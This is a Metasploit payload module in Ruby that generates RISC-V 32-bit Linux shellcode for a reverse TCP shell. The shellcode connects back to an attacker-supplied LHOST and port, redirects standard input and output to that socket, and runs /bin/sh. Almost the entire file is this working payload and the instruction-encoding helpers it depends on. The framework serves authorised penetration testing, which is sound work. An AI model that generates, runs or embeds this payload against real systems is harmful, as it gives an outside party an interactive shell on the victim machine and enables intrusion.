Linux Command Shell, Reverse TCP Inline

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
  CachedSize = 164

  include Msf::Payload::Single
  include Msf::Payload::Linux
  include Msf::Sessions::CommandShellOptions

  SYS_SOCKET = 198
  SYS_CONNECT = 203
  SYS_DUP3 = 24
  SYS_EXECVE = 221
  AF_INET = 2
  SOCK_STREAM = 1
  IPPROTO_IP = 0

  def initialize(info = {})
    super(
      merge_info(
        info,
        'Name' => 'Linux Command Shell, Reverse TCP Inline',
        'Description' => 'Connect back to attacker and spawn a command shell.',
        'Author' => [
          'modexp', # connect.s RISC-V 64-bit shellcode
          'bcoles', # RISC-V 32-bit shellcode port and metasploit
        ],
        'License' => BSD_LICENSE,
        'Platform' => 'linux',
        'Arch' => [ ARCH_RISCV32LE ],
        'References' => [
          ['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'],
          ['URL', 'https://web.archive.org/web/20230326161514/https://github.com/odzhan/shellcode/commit/d3ee25a6ebcdd21a21d0e6eccc979e45c24a9a1d'],
        ],
        'Handler' => Msf::Handler::ReverseTcp,
        'Session' => Msf::Sessions::CommandShellUnix
      )
    )
  end

  # Encode a RISC-V LUI (Load Upper Immediate) instruction
  def encode_lui(rd, imm20)
    0b0110111 | ((imm20 & 0xfffff) << 12) | (rd << 7)
  end

  # Encode a RISC-V ADDI (Add Immediate) instruction
  def encode_addi(rd, rs1, imm12)
    0b0010011 | ((imm12 & 0xfff) << 20) | (rs1 << 15) | (0b000 << 12) | (rd << 7)
  end

  # Emit RISC-V instruction words that build an arbitrary 32-bit constant in a chosen register using LUI+ADDI.
  def load_const_into_reg32(const, rd)
    raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer)

    max_const = 0xFFFF_FFFF

    raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const)

    if const >= -2048 && const <= 2047
      return [encode_addi(rd, 0, const)]
    end

    upper = (const + 0x800) >> 12
    low = const & 0xfff
    [
      encode_lui(rd, upper),
      encode_addi(rd, rd, low)
    ]
  end

  def generate(_opts = {})
    lhost = datastore['LHOST'] || '127.127.127.127'
    lport = datastore['LPORT'].to_i

    raise ArgumentError, 'LHOST must be in IPv4 format.' unless Rex::Socket.is_ipv4?(lhost)

    encoded_host = Rex::Socket.addr_aton(lhost).unpack1('V')
    encoded_port = [lport].pack('n').unpack1('v')

    shellcode = [
      # prepare stack
      0xfe010113, # addi sp,sp,-32

      # s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
      *load_const_into_reg32(SYS_SOCKET, 17),   # li a7,198  # SYS_socket
      *load_const_into_reg32(IPPROTO_IP, 12),   # li a2,0    # IPPROTO_IP
      *load_const_into_reg32(SOCK_STREAM, 11),  # li a1,1    # SOCK_STREAM
      *load_const_into_reg32(AF_INET, 10),      # li a0,2    # AF_INET
      0x00000073,                               # ecall

      # connect(s, &sa, sizeof(sa));
      0x00050693,                               # mv a3,a0     # a3 = s
      *load_const_into_reg32(SYS_CONNECT, 17),  # li a7,203    # SYS_connect
      *load_const_into_reg32(16, 12),           # li a2,16     # sizeof(sockaddr_in)
      0x00200293,                               # li t0,2      # AF_INET
      0x00511023,                               # sh t0,0(sp)  # sin_family
      *load_const_into_reg32(encoded_port, 5),
      0x00511123,                               # sh t0,2(sp)  # sin_port
      *load_const_into_reg32(encoded_host, 5),
      0x00512223,                               # sw t0,4(sp)  # sin_addr
      0x00012423,                               # sw 0,8(sp)   # padding
      0x00012623,                               # sw 0,12(sp)  # padding
      0x00010593,                               # mv a1,sp     # a1 = &sa
      0x00000073,                               # ecall

      # dup stdin/stdout/stderr
      *load_const_into_reg32(SYS_DUP3, 17),     # li a7,24     # SYS_dup3
      *load_const_into_reg32(3, 11),            # li a1,3      # start from STDERR_FILENO + 1 = 3
      # c_dup:
      *load_const_into_reg32(0, 12),            # li a2,0
      0x00068513,                               # mv a0,a3
      0xfff58593,                               # addi a1,a1,-1
      0x00000073,                               # ecall
      0xfe0598e3,                               # bnez a1,100b0 <c_dup>

      # execve("/bin/sh", ["/bin/sh", NULL], NULL);
      # BusyBox uses argv[0] to select its applet; NULL argv causes "applet not found".
      0x0dd00893,                               # li a7,221
      *load_const_into_reg32(0x6e69622f, 5),    # "/bin"
      0x00512023,                               # sw t0,0(sp)      # sp[0..3] = "/bin"
      *load_const_into_reg32(0x0068732f, 5),    # "/sh\0"
      0x00512223,                               # sw t0,4(sp)      # sp[4..7] = "/sh\0"
      0x00010513,                               # mv a0,sp          # a0 = path = "/bin/sh"
      0x00212423,                               # sw sp,8(sp)       # argv[0] = &path
      0x00012623,                               # sw zero,12(sp)    # argv[1] = NULL
      0x00810593,                               # addi a1,sp,8      # a1 = argv
      0x00000613,                               # li a2,0           # envp = NULL
      0x00000073                                # ecall
    ].pack('V*')

    # align our shellcode to 4 bytes
    shellcode += "\x00" while shellcode.bytesize % 4 != 0

    super.to_s + shellcode
  end
end